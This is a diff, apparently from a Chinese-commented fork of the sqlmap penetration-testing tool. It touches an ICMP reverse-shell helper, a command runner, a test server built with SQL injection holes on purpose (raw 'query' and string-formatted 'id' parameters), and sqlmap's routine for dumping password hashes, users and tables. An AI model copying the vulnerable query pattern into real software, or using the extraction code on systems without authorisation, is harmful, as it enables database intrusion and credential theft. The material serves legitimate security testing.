if __name__ == '__main__': if __name__ == '__main__':
# 检查参数,确保提供了源 IP 和目标 IP
if len(sys.argv) < 3: if len(sys.argv) < 3:
msg = 'missing mandatory options. Execute as root:\n' msg = 'missing mandatory options. Execute as root:\n'
msg += './icmpsh-m.py <source IP address> <destination IP address>\n' msg += './icmpsh-m.py <source IP address> <destination IP address>\n'
sys.stderr.write(msg) sys.stderr.write(msg)
sys.exit(1) sys.exit(1)
main(sys.argv[1], sys.argv[2]) # 调用主函数,传入源和目标 IP main(sys.argv[1], sys.argv[2])

@ -2,7 +2,7 @@
runcmd - a program for running command prompt commands runcmd - a program for running command prompt commands
Copyright (C) 2010 Miroslav Stampar Copyright (C) 2010 Miroslav Stampar
email: miroslav.stampar@gmail.com email: miroslav.stampar@gmail.com
This library is free software; you can redistribute it and/or This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either License as published by the Free Software Foundation; either
@ -25,27 +25,22 @@
#include <string> #include <string>
using namespace std; using namespace std;
int main(int argc, char* argv[]) int main(int argc, char* argv[])
{ {
FILE *fp; FILE *fp;
string cmd; string cmd;
// 从命令行参数获取命令并构建完整的命令字符串 for( int count = 1; count < argc; count++ )
for (int count = 1; count < argc; count++) cmd += " " + string(argv[count]);
cmd += " " + string(argv[count]); // 将每个参数添加到 cmd 字符串中,并用空格分隔
// 使用 _popen() 函数以只读的方式打开一个命令进程
fp = _popen(cmd.c_str(), "r"); fp = _popen(cmd.c_str(), "r");
// 检查文件指针是否有效
if (fp != NULL) { if (fp != NULL) {
char buffer[BUFSIZ]; // 声明一个缓冲区用于接收输出 char buffer[BUFSIZ];
// 读取命令的输出并将其写到标准输出
while (fgets(buffer, sizeof buffer, fp) != NULL) while (fgets(buffer, sizeof buffer, fp) != NULL)
fputs(buffer, stdout); // 将缓冲区的内容输出到控制台 fputs(buffer, stdout);
} }
return 0; return 0;
} }

@ -3,32 +3,28 @@
# Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) # Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
# See the file 'LICENSE' for copying permission # See the file 'LICENSE' for copying permission
# Removes duplicate entries in wordlist-like files # Removes duplicate entries in wordlist like files
from __future__ import print_function # 确保使用 Python 3 的 print() 函数 from __future__ import print_function
import sys # 导入系统模块,用于处理命令行参数和文件操作 import sys
if __name__ == "__main__": if __name__ == "__main__":
# 检查程序是否接收到至少一个命令行参数
if len(sys.argv) > 1: if len(sys.argv) > 1:
items = list() # 初始化一个列表用于存储唯一条目 items = list()
# 打开指定的文件进行读取
with open(sys.argv[1], 'r') as f: with open(sys.argv[1], 'r') as f:
for item in f: # 遍历文件中的每一行 for item in f:
item = item.strip() # 去掉行首尾的空白字符 item = item.strip()
try: try:
str.encode(item) # 尝试对字符串编码,确保内容是有效的字符串 str.encode(item)
if item in items: # 检查条目是否已经在列表中 if item in items:
if item: # 确保条目不为空 if item:
print(item) # 打印重复的条目 print(item)
else: else:
items.append(item) # 如果条目不在列表中,则添加到列表 items.append(item)
except: except:
pass # 捕获异常,继续处理下一个条目 pass
# 以写入模式打开同一个文件,准备写入去重后的唯一条目
with open(sys.argv[1], 'w+') as f: with open(sys.argv[1], 'w+') as f:
f.writelines("\n".join(items)) # 将唯一条目写回文件,以换行符分隔 f.writelines("\n".join(items))

@ -6,30 +6,25 @@ import os
import sys import sys
def check(filepath): def check(filepath):
# 检查给定路径的文件 if filepath.endswith(".py"):
if filepath.endswith(".py"): # 检查文件扩展名是否为 .py content = open(filepath, "rb").read()
content = open(filepath, "rb").read() # 以二进制模式打开文件并读取全部内容 pattern = "\n\n\n".encode("ascii")
pattern = "\n\n\n".encode("ascii") # 定义一个二进制模式的换行符序列,表示三个换行符
# 检查内容中是否包含三个连续的换行符
if pattern in content: if pattern in content:
index = content.find(pattern) # 找到模式在内容中的第一个出现位置 index = content.find(pattern)
# 打印文件路径和模式前后各 30 个字节的内容
print(filepath, repr(content[index - 30:index + 30])) print(filepath, repr(content[index - 30:index + 30]))
if __name__ == "__main__": if __name__ == "__main__":
try: try:
BASE_DIRECTORY = sys.argv[1] # 尝试获取命令行中指定的目录路径 BASE_DIRECTORY = sys.argv[1]
except IndexError: # 如果没有指定目录参数 except IndexError:
print("no directory specified, defaulting to current working directory") print("no directory specified, defaulting to current working directory")
BASE_DIRECTORY = os.getcwd() # 使用当前工作目录作为默认目录 BASE_DIRECTORY = os.getcwd()
print("looking for *.py scripts in subdirectories of '%s'" % BASE_DIRECTORY) print("looking for *.py scripts in subdirectories of '%s'" % BASE_DIRECTORY)
# 遍历指定目录及其子目录中的所有文件
for root, dirs, files in os.walk(BASE_DIRECTORY): for root, dirs, files in os.walk(BASE_DIRECTORY):
# 如果路径中包含 "extra" 或 "thirdparty",则跳过该目录
if any(_ in root for _ in ("extra", "thirdparty")): if any(_ in root for _ in ("extra", "thirdparty")):
continue continue
for name in files: # 遍历文件列表 for name in files:
filepath = os.path.join(root, name) # 构建文件的完整路径 filepath = os.path.join(root, name)
check(filepath) # 调用 check 函数检查该文件 check(filepath)

@ -6,9 +6,6 @@ vulnserver.py - Trivial SQLi vulnerable HTTP server (Note: for testing purposes)
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
# 该脚本实现了一个简单的 HTTP 服务器,故意留下 SQL 注入漏洞,供测试和学习之用。
# 它展示了基本的 Web 服务器如何处理请求、解析参数以及如何与 SQLite 数据库交互。
# 此类工具应仅在安全的实验环境中使用,以避免滥用和安全风险。在实际应用中,开发者应注意保护数据库查询以防止 SQL 注入攻击。
from __future__ import print_function from __future__ import print_function
@ -20,26 +17,29 @@ import sys
import threading import threading
import traceback import traceback
# 检查 Python 版本
PY3 = sys.version_info >= (3, 0) PY3 = sys.version_info >= (3, 0)
UNICODE_ENCODING = "utf-8" # 定义 Unicode 编码 UNICODE_ENCODING = "utf-8"
DEBUG = False # 调试模式标志 DEBUG = False
if PY3: if PY3:
# 导入 Python 3 中的 HTTP 相关模块 from http.client import INTERNAL_SERVER_ERROR
from http.client import INTERNAL_SERVER_ERROR, NOT_FOUND, OK from http.client import NOT_FOUND
from http.server import BaseHTTPRequestHandler, HTTPServer from http.client import OK
from http.server import BaseHTTPRequestHandler
from http.server import HTTPServer
from socketserver import ThreadingMixIn from socketserver import ThreadingMixIn
from urllib.parse import parse_qs, unquote_plus from urllib.parse import parse_qs
from urllib.parse import unquote_plus
else: else:
# 对于 Python 2导入相应的 HTTP 相关模块 from BaseHTTPServer import BaseHTTPRequestHandler
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer from BaseHTTPServer import HTTPServer
from httplib import INTERNAL_SERVER_ERROR, NOT_FOUND, OK from httplib import INTERNAL_SERVER_ERROR
from httplib import NOT_FOUND
from httplib import OK
from SocketServer import ThreadingMixIn from SocketServer import ThreadingMixIn
from urlparse import parse_qs from urlparse import parse_qs
from urllib import unquote_plus from urllib import unquote_plus
# SQLite 模式定义,创建用户表并插入示例数据
SCHEMA = """ SCHEMA = """
CREATE TABLE users ( CREATE TABLE users (
id INTEGER, id INTEGER,
@ -54,11 +54,9 @@ SCHEMA = """
INSERT INTO users (id, name, surname) VALUES (5, NULL, 'nameisnull'); INSERT INTO users (id, name, surname) VALUES (5, NULL, 'nameisnull');
""" """
# 定义监听地址和端口
LISTEN_ADDRESS = "localhost" LISTEN_ADDRESS = "localhost"
LISTEN_PORT = 8440 LISTEN_PORT = 8440
# 全局变量
_conn = None _conn = None
_cursor = None _cursor = None
_lock = None _lock = None
@ -70,15 +68,13 @@ def init(quiet=False):
global _cursor global _cursor
global _lock global _lock
# 在内存中创建 SQLite 数据库连接
_conn = sqlite3.connect(":memory:", isolation_level=None, check_same_thread=False) _conn = sqlite3.connect(":memory:", isolation_level=None, check_same_thread=False)
_cursor = _conn.cursor() # 创建游标,用于执行 SQL 命令 _cursor = _conn.cursor()
_lock = threading.Lock() # 创建线程锁,以处理多线程环境下的数据库访问 _lock = threading.Lock()
_cursor.executescript(SCHEMA) # 执行脚本以创建表并插入数据 _cursor.executescript(SCHEMA)
if quiet: if quiet:
# 如果 quiet 为 True则禁止输出
global print global print
def _(*args, **kwargs): def _(*args, **kwargs):
@ -87,7 +83,6 @@ def init(quiet=False):
print = _ print = _
class ThreadingServer(ThreadingMixIn, HTTPServer): class ThreadingServer(ThreadingMixIn, HTTPServer):
# 允许多线程处理 HTTP 请求
def finish_request(self, *args, **kwargs): def finish_request(self, *args, **kwargs):
try: try:
HTTPServer.finish_request(self, *args, **kwargs) HTTPServer.finish_request(self, *args, **kwargs)
@ -96,16 +91,13 @@ class ThreadingServer(ThreadingMixIn, HTTPServer):
traceback.print_exc() traceback.print_exc()
class ReqHandler(BaseHTTPRequestHandler): class ReqHandler(BaseHTTPRequestHandler):
# 请求处理类
def do_REQUEST(self): def do_REQUEST(self):
# 处理请求,分割路径和查询字符串
path, query = self.path.split('?', 1) if '?' in self.path else (self.path, "") path, query = self.path.split('?', 1) if '?' in self.path else (self.path, "")
params = {} params = {}
if query: if query:
params.update(parse_qs(query)) # 解析查询字符串为字典 params.update(parse_qs(query))
# 检查是否出现恶意脚本
if "<script>" in unquote_plus(query): if "<script>" in unquote_plus(query):
self.send_response(INTERNAL_SERVER_ERROR) self.send_response(INTERNAL_SERVER_ERROR)
self.send_header("X-Powered-By", "Express") self.send_header("X-Powered-By", "Express")
@ -114,25 +106,18 @@ class ReqHandler(BaseHTTPRequestHandler):
self.wfile.write("CLOUDFLARE_ERROR_500S_BOX".encode(UNICODE_ENCODING)) self.wfile.write("CLOUDFLARE_ERROR_500S_BOX".encode(UNICODE_ENCODING))
return return
# 处理请求数据(如果有)
if hasattr(self, "data"): if hasattr(self, "data"):
if self.data.startswith('{') and self.data.endswith('}'): if self.data.startswith('{') and self.data.endswith('}'):
params.update(json.loads(self.data)) # JSON 数据 params.update(json.loads(self.data))
elif self.data.startswith('<') and self.data.endswith('>'): elif self.data.startswith('<') and self.data.endswith('>'):
# 解析 HTML 表单数据 params.update(dict((_[0], _[1].replace("&apos;", "'").replace("&quot;", '"').replace("&lt;", '<').replace("&gt;", '>').replace("&amp;", '&')) for _ in re.findall(r'name="([^"]+)" value="([^"]*)"', self.data)))
params.update(dict((_[0], _[1].replace("&apos;", "'").replace("&quot;", '"')
.replace("&lt;", '<').replace("&gt;", '>').replace("&amp;", '&'))
for _ in re.findall(r'name="([^"]+)" value="([^"]*)"', self.data)))
else: else:
# 处理 URL 编码数据 self.data = self.data.replace(';', '&') # Note: seems that Python3 started ignoring parameter splitting with ';'
self.data = self.data.replace(';', '&') # 兼容性处理
params.update(parse_qs(self.data)) params.update(parse_qs(self.data))
# 处理请求头参数
for name in self.headers: for name in self.headers:
params[name.lower()] = self.headers[name] params[name.lower()] = self.headers[name]
# 处理 Cookie 参数
if "cookie" in params: if "cookie" in params:
for part in params["cookie"].split(';'): for part in params["cookie"].split(';'):
part = part.strip() part = part.strip()
@ -140,17 +125,14 @@ class ReqHandler(BaseHTTPRequestHandler):
name, value = part.split('=', 1) name, value = part.split('=', 1)
params[name.strip()] = unquote_plus(value.strip()) params[name.strip()] = unquote_plus(value.strip())
# 将多值参数转换为单值
for key in params: for key in params:
if params[key] and isinstance(params[key], (tuple, list)): if params[key] and isinstance(params[key], (tuple, list)):
params[key] = params[key][-1] params[key] = params[key][-1]
self.url, self.params = path, params # 存储 URL 和参数 self.url, self.params = path, params
if self.url == '/': if self.url == '/':
# 主页处理
if not any(_ in self.params for _ in ("id", "query")): if not any(_ in self.params for _ in ("id", "query")):
# 如果没有 ID 或查询参数,则显示主页面
self.send_response(OK) self.send_response(OK)
self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING) self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
self.send_header("Connection", "close") self.send_header("Connection", "close")
@ -160,33 +142,27 @@ class ReqHandler(BaseHTTPRequestHandler):
code, output = OK, "" code, output = OK, ""
try: try:
# 处理回显参数
if self.params.get("echo", ""): if self.params.get("echo", ""):
output += "%s<br>" % self.params["echo"] output += "%s<br>" % self.params["echo"]
if self.params.get("reflect", ""): if self.params.get("reflect", ""):
output += "%s<br>" % self.params.get("id") output += "%s<br>" % self.params.get("id")
with _lock: # 使用锁来确保线程安全 with _lock:
if "query" in self.params: if "query" in self.params:
# 执行任意 SQL 查询
_cursor.execute(self.params["query"]) _cursor.execute(self.params["query"])
elif "id" in self.params: elif "id" in self.params:
# 通过 ID 查询用户
if "base64" in self.params: if "base64" in self.params:
_cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % _cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % base64.b64decode("%s===" % self.params["id"], altchars=self.params.get("altchars")).decode())
base64.b64decode("%s===" % self.params["id"],
altchars=self.params.get("altchars")).decode())
else: else:
_cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"]) _cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"])
results = _cursor.fetchall() # 获取查询结果 results = _cursor.fetchall()
output += "<b>SQL results:</b><br>\n" output += "<b>SQL results:</b><br>\n"
# 根据查询结果决定响应的状态码和内容
if self.params.get("code", ""): if self.params.get("code", ""):
if not results: if not results:
code = INTERNAL_SERVER_ERROR # 出错 code = INTERNAL_SERVER_ERROR
else: else:
if results: if results:
output += "<table border=\"1\">\n" output += "<table border=\"1\">\n"
@ -199,16 +175,15 @@ class ReqHandler(BaseHTTPRequestHandler):
output += "</table>\n" output += "</table>\n"
else: else:
output += "no results found" # 查询无结果 output += "no results found"
output += "</body></html>" output += "</body></html>"
except Exception as ex: except Exception as ex:
code = INTERNAL_SERVER_ERROR code = INTERNAL_SERVER_ERROR
# 捕获异常并返回错误信息
output = "%s: %s" % (re.search(r"'([^']+)'", str(type(ex))).group(1), ex) output = "%s: %s" % (re.search(r"'([^']+)'", str(type(ex))).group(1), ex)
# 发送响应
self.send_response(code) self.send_response(code)
self.send_header("Content-type", "text/html") self.send_header("Content-type", "text/html")
self.send_header("Connection", "close") self.send_header("Connection", "close")
@ -219,30 +194,26 @@ class ReqHandler(BaseHTTPRequestHandler):
self.end_headers() self.end_headers()
self.wfile.write(output if isinstance(output, bytes) else output.encode(UNICODE_ENCODING)) self.wfile.write(output if isinstance(output, bytes) else output.encode(UNICODE_ENCODING))
else: else:
# 对于未定义的路径返回 404
self.send_response(NOT_FOUND) self.send_response(NOT_FOUND)
self.send_header("Connection", "close") self.send_header("Connection", "close")
self.end_headers() self.end_headers()
def do_GET(self): def do_GET(self):
self.do_REQUEST() # 处理 GET 请求 self.do_REQUEST()
def do_PUT(self): def do_PUT(self):
self.do_POST() # 处理 PUT 请求 self.do_POST()
def do_HEAD(self): def do_HEAD(self):
self.do_REQUEST() # 处理 HEAD 请求 self.do_REQUEST()
def do_POST(self): def do_POST(self):
# 处理 POST 请求
length = int(self.headers.get("Content-length", 0)) length = int(self.headers.get("Content-length", 0))
if length: if length:
# 读取请求体数据
data = self.rfile.read(length) data = self.rfile.read(length)
data = unquote_plus(data.decode(UNICODE_ENCODING, "ignore")) data = unquote_plus(data.decode(UNICODE_ENCODING, "ignore"))
self.data = data self.data = data
elif self.headers.get("Transfer-encoding") == "chunked": elif self.headers.get("Transfer-encoding") == "chunked":
# 处理 chunked 请求
data, line = b"", b"" data, line = b"", b""
count = 0 count = 0
@ -261,10 +232,10 @@ class ReqHandler(BaseHTTPRequestHandler):
self.data = data.decode(UNICODE_ENCODING, "ignore") self.data = data.decode(UNICODE_ENCODING, "ignore")
self.do_REQUEST() # 处理 POST 逻辑 self.do_REQUEST()
def log_message(self, format, *args): def log_message(self, format, *args):
return # 不记录日志 return
def run(address=LISTEN_ADDRESS, port=LISTEN_PORT): def run(address=LISTEN_ADDRESS, port=LISTEN_PORT):
global _alive global _alive
@ -273,17 +244,16 @@ def run(address=LISTEN_ADDRESS, port=LISTEN_PORT):
_alive = True _alive = True
_server = ThreadingServer((address, port), ReqHandler) _server = ThreadingServer((address, port), ReqHandler)
print("[i] running HTTP server at 'http://%s:%d'" % (address, port)) print("[i] running HTTP server at 'http://%s:%d'" % (address, port))
_server.serve_forever() # 开始监听并处理请求 _server.serve_forever()
except KeyboardInterrupt: except KeyboardInterrupt:
_server.socket.close() # 关闭服务器 _server.socket.close()
raise raise
finally: finally:
_alive = False _alive = False
if __name__ == "__main__": if __name__ == "__main__":
try: try:
init() # 初始化数据库和服务器 init()
run(sys.argv[1] if len(sys.argv) > 1 else LISTEN_ADDRESS, run(sys.argv[1] if len(sys.argv) > 1 else LISTEN_ADDRESS, int(sys.argv[2] if len(sys.argv) > 2 else LISTEN_PORT))
int(sys.argv[2] if len(sys.argv) > 2 else LISTEN_PORT))
except KeyboardInterrupt: except KeyboardInterrupt:
print("\r[x] Ctrl-C received") # 捕获 Ctrl-C 终止信号 print("\r[x] Ctrl-C received")

Binary file not shown.

Before

Width:  |  Height:  |  Size: 114 B

Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.2 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 114 B

Binary file not shown.

Before

Width:  |  Height:  |  Size: 8.8 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.3 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 964 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 114 B

Binary file not shown.

Before

Width:  |  Height:  |  Size: 4.4 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 114 B

Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 9.5 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 9.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 61 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 25 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 133 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 11 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 114 B

Binary file not shown.

Before

Width:  |  Height:  |  Size: 7.3 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 114 B

Binary file not shown.

Before

Width:  |  Height:  |  Size: 2.3 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 232 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 11 KiB

@ -1,243 +1,247 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
from lib.controller.handler import setHandler # 从 handler 模块导入 setHandler 函数 from lib.controller.handler import setHandler
from lib.core.common import Backend # 从 common 模块导入 Backend 类 from lib.core.common import Backend
from lib.core.common import Format # 从 common 模块导入 Format 类 from lib.core.common import Format
from lib.core.data import conf # 从 data 模块导入 conf 对象 from lib.core.data import conf
from lib.core.data import kb # 从 data 模块导入 kb 对象 from lib.core.data import kb
from lib.core.data import logger # 从 data 模块导入 logger 对象 from lib.core.data import logger
from lib.core.data import paths # 从 data 模块导入 paths 对象 from lib.core.data import paths
from lib.core.enums import CONTENT_TYPE # 从 enums 模块导入 CONTENT_TYPE 枚举类 from lib.core.enums import CONTENT_TYPE
from lib.core.exception import SqlmapNoneDataException # 从 exception 模块导入 SqlmapNoneDataException 类 from lib.core.exception import SqlmapNoneDataException
from lib.core.exception import SqlmapUnsupportedDBMSException # 从 exception 模块导入 SqlmapUnsupportedDBMSException 类 from lib.core.exception import SqlmapUnsupportedDBMSException
from lib.core.settings import SUPPORTED_DBMS # 从 settings 模块导入 SUPPORTED_DBMS 列表 from lib.core.settings import SUPPORTED_DBMS
from lib.utils.brute import columnExists # 从 brute 模块导入 columnExists 函数 from lib.utils.brute import columnExists
from lib.utils.brute import fileExists # 从 brute 模块导入 fileExists 函数 from lib.utils.brute import fileExists
from lib.utils.brute import tableExists # 从 brute 模块导入 tableExists 函数 from lib.utils.brute import tableExists
def action(): def action():
""" """
该函数利用受影响的 URL 参数上的 SQL 注入漏洞并从后端数据库管理系统或操作系统中提取请求的数据如果可能 This function exploit the SQL injection on the affected
URL parameter and extract requested data from the
back-end database management system or operating system
if possible
""" """
# 首先,我们需要识别后端数据库管理系统,才能继续注入操作 # First of all we have to identify the back-end database management
setHandler() # 设置数据库处理程序 # system to be able to go ahead with the injection
setHandler()
if not Backend.getDbms() or not conf.dbmsHandler: # 如果无法识别数据库或没有对应的数据库处理程序 if not Backend.getDbms() or not conf.dbmsHandler:
htmlParsed = Format.getErrorParsedDBMSes() # 解析 HTML 错误页面以识别数据库 htmlParsed = Format.getErrorParsedDBMSes()
errMsg = "sqlmap was not able to fingerprint the " # 错误信息 errMsg = "sqlmap was not able to fingerprint the "
errMsg += "back-end database management system" errMsg += "back-end database management system"
if htmlParsed: # 如果从 HTML 错误页面解析到了数据库信息 if htmlParsed:
errMsg += ", but from the HTML error page it was " errMsg += ", but from the HTML error page it was "
errMsg += "possible to determinate that the " errMsg += "possible to determinate that the "
errMsg += "back-end DBMS is %s" % htmlParsed errMsg += "back-end DBMS is %s" % htmlParsed
if htmlParsed and htmlParsed.lower() in SUPPORTED_DBMS: # 如果解析到的数据库在支持的数据库列表中 if htmlParsed and htmlParsed.lower() in SUPPORTED_DBMS:
errMsg += ". Do not specify the back-end DBMS manually, " errMsg += ". Do not specify the back-end DBMS manually, "
errMsg += "sqlmap will fingerprint the DBMS for you" errMsg += "sqlmap will fingerprint the DBMS for you"
elif kb.nullConnection: # 如果是使用 null connection 模式 elif kb.nullConnection:
errMsg += ". You can try to rerun without using optimization " errMsg += ". You can try to rerun without using optimization "
errMsg += "switch '%s'" % ("-o" if conf.optimize else "--null-connection") errMsg += "switch '%s'" % ("-o" if conf.optimize else "--null-connection")
raise SqlmapUnsupportedDBMSException(errMsg) # 抛出不支持的数据库管理系统异常 raise SqlmapUnsupportedDBMSException(errMsg)
conf.dumper.singleString(conf.dbmsHandler.getFingerprint()) # 打印识别到的数据库指纹 conf.dumper.singleString(conf.dbmsHandler.getFingerprint())
kb.fingerprinted = True # 设置已识别数据库指纹 kb.fingerprinted = True
# 枚举选项 # Enumeration options
if conf.getBanner: # 如果需要获取数据库版本信息 if conf.getBanner:
conf.dumper.banner(conf.dbmsHandler.getBanner()) # 打印数据库版本信息 conf.dumper.banner(conf.dbmsHandler.getBanner())
if conf.getCurrentUser: # 如果需要获取当前用户 if conf.getCurrentUser:
conf.dumper.currentUser(conf.dbmsHandler.getCurrentUser()) # 打印当前用户 conf.dumper.currentUser(conf.dbmsHandler.getCurrentUser())
if conf.getCurrentDb: # 如果需要获取当前数据库 if conf.getCurrentDb:
conf.dumper.currentDb(conf.dbmsHandler.getCurrentDb()) # 打印当前数据库 conf.dumper.currentDb(conf.dbmsHandler.getCurrentDb())
if conf.getHostname: # 如果需要获取数据库主机名 if conf.getHostname:
conf.dumper.hostname(conf.dbmsHandler.getHostname()) # 打印数据库主机名 conf.dumper.hostname(conf.dbmsHandler.getHostname())
if conf.isDba: # 如果需要判断当前用户是否为 DBA if conf.isDba:
conf.dumper.dba(conf.dbmsHandler.isDba()) # 打印判断结果 conf.dumper.dba(conf.dbmsHandler.isDba())
if conf.getUsers: # 如果需要获取所有用户 if conf.getUsers:
conf.dumper.users(conf.dbmsHandler.getUsers()) # 打印所有用户 conf.dumper.users(conf.dbmsHandler.getUsers())
if conf.getStatements: # 如果需要获取数据库中的所有 SQL 语句 if conf.getStatements:
conf.dumper.statements(conf.dbmsHandler.getStatements()) # 打印所有 SQL 语句 conf.dumper.statements(conf.dbmsHandler.getStatements())
if conf.getPasswordHashes: # 如果需要获取用户密码哈希 if conf.getPasswordHashes:
try: try:
conf.dumper.userSettings("database management system users password hashes", conf.dbmsHandler.getPasswordHashes(), "password hash", CONTENT_TYPE.PASSWORDS) # 打印用户密码哈希 conf.dumper.userSettings("database management system users password hashes", conf.dbmsHandler.getPasswordHashes(), "password hash", CONTENT_TYPE.PASSWORDS)
except SqlmapNoneDataException as ex: except SqlmapNoneDataException as ex:
logger.critical(ex) # 打印错误信息 logger.critical(ex)
except: except:
raise # 抛出其他异常 raise
if conf.getPrivileges: # 如果需要获取用户权限 if conf.getPrivileges:
try: try:
conf.dumper.userSettings("database management system users privileges", conf.dbmsHandler.getPrivileges(), "privilege", CONTENT_TYPE.PRIVILEGES) # 打印用户权限 conf.dumper.userSettings("database management system users privileges", conf.dbmsHandler.getPrivileges(), "privilege", CONTENT_TYPE.PRIVILEGES)
except SqlmapNoneDataException as ex: except SqlmapNoneDataException as ex:
logger.critical(ex) # 打印错误信息 logger.critical(ex)
except: except:
raise # 抛出其他异常 raise
if conf.getRoles: # 如果需要获取用户角色 if conf.getRoles:
try: try:
conf.dumper.userSettings("database management system users roles", conf.dbmsHandler.getRoles(), "role", CONTENT_TYPE.ROLES) # 打印用户角色 conf.dumper.userSettings("database management system users roles", conf.dbmsHandler.getRoles(), "role", CONTENT_TYPE.ROLES)
except SqlmapNoneDataException as ex: except SqlmapNoneDataException as ex:
logger.critical(ex) # 打印错误信息 logger.critical(ex)
except: except:
raise # 抛出其他异常 raise
if conf.getDbs: # 如果需要获取所有数据库 if conf.getDbs:
try: try:
conf.dumper.dbs(conf.dbmsHandler.getDbs()) # 打印所有数据库 conf.dumper.dbs(conf.dbmsHandler.getDbs())
except SqlmapNoneDataException as ex: except SqlmapNoneDataException as ex:
logger.critical(ex) # 打印错误信息 logger.critical(ex)
except: except:
raise # 抛出其他异常 raise
if conf.getTables: # 如果需要获取数据库中的所有表 if conf.getTables:
try: try:
conf.dumper.dbTables(conf.dbmsHandler.getTables()) # 打印所有表 conf.dumper.dbTables(conf.dbmsHandler.getTables())
except SqlmapNoneDataException as ex: except SqlmapNoneDataException as ex:
logger.critical(ex) # 打印错误信息 logger.critical(ex)
except: except:
raise # 抛出其他异常 raise
if conf.commonTables: # 如果需要获取一些常见的表 if conf.commonTables:
try: try:
conf.dumper.dbTables(tableExists(paths.COMMON_TABLES)) # 打印常见的表 conf.dumper.dbTables(tableExists(paths.COMMON_TABLES))
except SqlmapNoneDataException as ex: except SqlmapNoneDataException as ex:
logger.critical(ex) # 打印错误信息 logger.critical(ex)
except: except:
raise # 抛出其他异常 raise
if conf.getSchema: # 如果需要获取数据库架构信息 if conf.getSchema:
try: try:
conf.dumper.dbTableColumns(conf.dbmsHandler.getSchema(), CONTENT_TYPE.SCHEMA) # 打印数据库架构信息 conf.dumper.dbTableColumns(conf.dbmsHandler.getSchema(), CONTENT_TYPE.SCHEMA)
except SqlmapNoneDataException as ex: except SqlmapNoneDataException as ex:
logger.critical(ex) # 打印错误信息 logger.critical(ex)
except: except:
raise # 抛出其他异常 raise
if conf.getColumns: # 如果需要获取数据库中的所有列 if conf.getColumns:
try: try:
conf.dumper.dbTableColumns(conf.dbmsHandler.getColumns(), CONTENT_TYPE.COLUMNS) # 打印所有列 conf.dumper.dbTableColumns(conf.dbmsHandler.getColumns(), CONTENT_TYPE.COLUMNS)
except SqlmapNoneDataException as ex: except SqlmapNoneDataException as ex:
logger.critical(ex) # 打印错误信息 logger.critical(ex)
except: except:
raise # 抛出其他异常 raise
if conf.getCount: # 如果需要获取表中的数据行数 if conf.getCount:
try: try:
conf.dumper.dbTablesCount(conf.dbmsHandler.getCount()) # 打印数据行数 conf.dumper.dbTablesCount(conf.dbmsHandler.getCount())
except SqlmapNoneDataException as ex: except SqlmapNoneDataException as ex:
logger.critical(ex) # 打印错误信息 logger.critical(ex)
except: except:
raise # 抛出其他异常 raise
if conf.commonColumns: # 如果需要获取一些常见的列 if conf.commonColumns:
try: try:
conf.dumper.dbTableColumns(columnExists(paths.COMMON_COLUMNS)) # 打印常见的列 conf.dumper.dbTableColumns(columnExists(paths.COMMON_COLUMNS))
except SqlmapNoneDataException as ex: except SqlmapNoneDataException as ex:
logger.critical(ex) # 打印错误信息 logger.critical(ex)
except: except:
raise # 抛出其他异常 raise
if conf.dumpTable: # 如果需要导出表中的数据 if conf.dumpTable:
try: try:
conf.dbmsHandler.dumpTable() # 导出表中的数据 conf.dbmsHandler.dumpTable()
except SqlmapNoneDataException as ex: except SqlmapNoneDataException as ex:
logger.critical(ex) # 打印错误信息 logger.critical(ex)
except: except:
raise # 抛出其他异常 raise
if conf.dumpAll: # 如果需要导出数据库中的所有数据 if conf.dumpAll:
try: try:
conf.dbmsHandler.dumpAll() # 导出数据库中的所有数据 conf.dbmsHandler.dumpAll()
except SqlmapNoneDataException as ex: except SqlmapNoneDataException as ex:
logger.critical(ex) # 打印错误信息 logger.critical(ex)
except: except:
raise # 抛出其他异常 raise
if conf.search: # 如果需要在数据库中搜索数据 if conf.search:
try: try:
conf.dbmsHandler.search() # 在数据库中搜索数据 conf.dbmsHandler.search()
except SqlmapNoneDataException as ex: except SqlmapNoneDataException as ex:
logger.critical(ex) # 打印错误信息 logger.critical(ex)
except: except:
raise # 抛出其他异常 raise
if conf.sqlQuery: # 如果需要执行 SQL 查询 if conf.sqlQuery:
for query in conf.sqlQuery.strip(';').split(';'): # 循环执行每个 SQL 查询语句 for query in conf.sqlQuery.strip(';').split(';'):
query = query.strip() query = query.strip()
if query: # 如果查询语句不为空 if query:
conf.dumper.sqlQuery(query, conf.dbmsHandler.sqlQuery(query)) # 打印查询结果 conf.dumper.sqlQuery(query, conf.dbmsHandler.sqlQuery(query))
